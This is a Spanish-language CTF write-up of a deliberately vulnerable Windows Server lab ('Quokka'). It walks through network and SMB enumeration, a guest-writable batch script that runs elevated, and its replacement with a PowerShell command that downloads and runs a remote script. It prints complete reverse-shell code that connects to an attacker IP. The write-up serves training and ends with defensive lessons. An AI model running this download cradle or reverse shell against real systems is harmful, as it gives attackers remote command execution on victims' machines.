# Quokka CTF: Diseñando una Cadena de Explotación en Windows Server para SRE e Ingeniería de Plataforma

6 min read
CTF
Table of Contents

Análisis técnico y lecciones de arquitectura de un escenario real de IIS y Samba.


La Ingeniería Detrás de Quokka

Como Senior Platform Engineer, me he interesado en la construcción de escenarios complejos que reflejen los desafíos del mundo real. “Quokka” representó mi primera incursión exitosa en el diseño de un CTF con sistema operativo Windows, un desafío que me permitió explorar la robustez de IIS y Samba y, lo más importante, cómo las configuraciones aparentemente inocentes pueden convertirse en puntos de entrada críticos.

Este writeup detalla la arquitectura y la lógica de explotación de Quokka, un entorno de Windows Server meticulosamente diseñado para simular vulnerabilidades comunes en IIS y Samba. Mi objetivo al crearlo fue proporcionar una plataforma para que otros ingenieros de plataforma y SREs pudieran afinar sus habilidades en la identificación de debilidades en la gestión de permisos, la auditoría de servicios básicos y la respuesta a incidentes.

Accede a la máquina Quokka en TheHackersLabs


Fase 1: Recopilación de Información y Diseño de la Superficie de Ataque

Paso 1: Mapeo de Red (Replicando la fase de reconocimiento inicial)

El primer paso en cualquier auditoría de infraestructura, o diseño de CTF, es identificar los activos. Para Quokka, este proceso inicia con un arp-scan para ubicar el host dentro de la red.

Terminal window
──(oscar㉿kali)-[~]
└─$ sudo arp-scan -I eth0 --localnet | grep -i "08:00:27:c7:7e:d7"
192.168.1.48 08:00:27:c7:7e:d7 (Unknown)

Paso 2: Escaneo Profundo de Servicios (Modelando el entorno vulnerable)

Una vez que se identifica la IP, el siguiente paso fue simular un escaneo de puertos y servicios. Esto revela la superficie de ataque diseñada intencionadamente para Quokka: un servidor HTTP IIS y un servicio Samba, ambos en un Windows Server.

Terminal window
┌──(oscar㉿kali)-[~]
└─$ sudo nmap -sSCV -p- -Pn -n --min-rate 5000 192.168.1.48
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Portfolio y Noticias Tech de Quokka
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49668/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27:C7:7E:D7 (Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

El diseño de Quokka se centra en estas vulnerabilidades comunes: IIS (aunque pasivo en este caso) y Samba, ofreciendo un desafío de detección para entornos Windows.

Fase 2: Análisis de Componentes (Identificando Puntos Débiles en la Arquitectura)

Sub-Fase 2.1: Análisis del Servidor Web IIS

El puerto 80 del IIS aloja un portal de blog. La clave aquí, desde la perspectiva de diseño, no es una vulnerabilidad directa en el IIS, sino la inclusión de información contextual crucial que guía al ingeniero hacia el siguiente objetivo. Se menciona la necesidad de revisar un servicio secundario con privilegios, vinculando a usuarios específicos: una forma de simular el reconocimiento interno que se esperaría en un sistema real.

Esta pista es fundamental para dirigir el foco hacia el servicio Samba y los usuarios Daniel y Luis. Sub-Fase 2.2: Auditoría del Servicio Samba

La hipótesis inicial es que Samba, siendo un servicio de compartición de archivos, podría tener configuraciones erróneas de permisos.

Exploración de Recursos Compartidos: Una de las vulnerabilidades de diseño primarias en Quokka es la configuración laxa de Samba. Con netexec, se demuestra que el usuario guest tiene acceso a un recurso compartido:

Terminal window
netexec smb 192.168.1.48 -u 'guest' -p '' --shares

Salida Analizada:

Terminal window
SMB 192.168.1.48 445 WIN-BFBAV3DDG0N [*] Windows Server 2022 Build 20348 x64 (name:WIN-BFBAV3DDG0N) (domain:WIN-BFBAV3DDG0N) (signing:False) (SMBv1:False)
SMB 192.168.1.48 445 WIN-BFBAV3DDG0N [+] WIN-BFBAV3DDG0N\guest: (Guest)
SMB 192.168.1.48 445 WIN-BFBAV3DDG0N [*] Enumerated shares
SMB 192.196.1.48 445 WIN-BFBAV3DDG0N Share Permissions Remark
SMB 192.168.1.48 445 WIN-BFBAV3DDG0N ADMIN$ Admin remota
SMB 192.168.1.48 445 WIN-BFBAV3DDG0N C$ Recurso predeterminado
SMB 192.168.1.48 445 WIN-BFBAV3DDG0N IPC$ READ IPC remota
SMB 192.168.1.48 445 WIN-BFBAV3DDG0N Shared READ,WRITE

La clave aquí es Shared READ,WRITE para guest. Esta fue una vulnerabilidad de diseño intencionada para Quokka, simulando un error de configuración de permisos. Dentro de C:\Shared, se estructura un sistema de archivos para contener la vulnerabilidad de escalada:

Terminal window
C:\Shared\
├── Documentación\ ...
├── Proyectos\
├── Quokka\
├── Diseño\ ...
├── Código\
├── index.html
├── **mantenimiento.bat** (Vulnerabilidad Oculta)
└── README.md
├── Documentación_Interna.docx
└── Manual_Quokka.pdf
├── Proyecto_X\ ...
└── Proyecto_Antiguo\ ...
└── Logs\
├── Accesos\ ...
├── Backups\ ...
└── Fallos_Sistema\ ...

La conexión con smbclient revela el archivo mantenimiento.bat dentro de Proyectos\Quokka\Código.

Terminal window
┌──(oscar㉿kali)-[~]
└─$ smbclient -U guest% //192.168.1.48/Shared
smb: \> ls
smb: \Proyectos\Quokka\Código\> ls
mantenimiento.bat

Fase 3: Explotación y Control (Demostrando el Impacto de las Malas Configuraciones)

Análisis del Archivo mantenimiento.bat (El Corazón de la Vulnerabilidad)

El diseño de Quokka se centra en el mantenimiento.bat. Su análisis revela:

Terminal window
:: Pista: Este script se ejecuta con permisos elevados. Seguro que no hay nada más?

Este es el punto crítico de la escalada de privilegios: un script con permisos elevados y modificable por un usuario con pocos privilegios (guest). Esta situación se da frecuentemente en entornos corporativos. Inyección de Reverse Shell (Simulando el Acceso Remoto)

Para demostrar el impacto, se modifica mantenimiento.bat para ejecutar una reverse shell de PowerShell.

Terminal window
@echo off
:: Reverse shell a Kali
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "iex(New-Object Net.WebClient).DownloadString('http://192.168.1.36:8000/shell.ps1')"
:: Fin del script
exit

El script shell.ps1 se sirve a través de un servidor HTTP local y establece la conexión inversa.

Terminal window
$client = New-Object System.Net.Sockets.TCPClient("192.168.1.36", 4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
}
$client.Close()

Finalmente, un listener en netcat esperando la conexión confirma el acceso.

Conclusión: Lecciones de Diseño para SRE y Plataformas Seguras

La creación de “Quokka” fue un ejercicio fundamental para comprender cómo las vulnerabilidades en la gestión de permisos y la automatización mal configurada pueden comprometer un sistema Windows Server. Este laboratorio demuestra:

Importancia de la Auditoría Contínua: No solo de servicios web, sino de configuraciones de compartición de archivos y scripts de sistema.
Gestión de Permisos: La restricción rigurosa de cuentas como guest y la segregación de privilegios son esenciales.
Seguridad en la Automatización: Auditar scripts que se ejecutan con permisos elevados es crítico. Un script aparentemente inofensivo puede ser un vector de escalada.
Conocimiento del Adversario: Entender cómo se explotan las debilidades es la mejor defensa.

La experiencia de diseñar Quokka, mi primera máquina Windows, reforzó mi capacidad para arquitectar sistemas, identificar puntos de falla y documentar escenarios técnicos complejos, habilidades directamente aplicables a la construcción y mantenimiento de infraestructuras robustas y resilientes, especialmente en el ámbito de AIOps y MLOps, donde la automatización con IA exige una comprensión profunda de la seguridad operativa.

My avatar

¿Te ha resultado útil o interesante este post? Soy Oscar, Senior Infrastructure & Automation Engineer, y en este blog comparto notas técnicas sobre infraestructura, automatización, observabilidad, operaciones críticas e IA aplicada a tooling real.

Conecta y conversemos: LinkedIn Mi código y proyectos en: GitHub


More Posts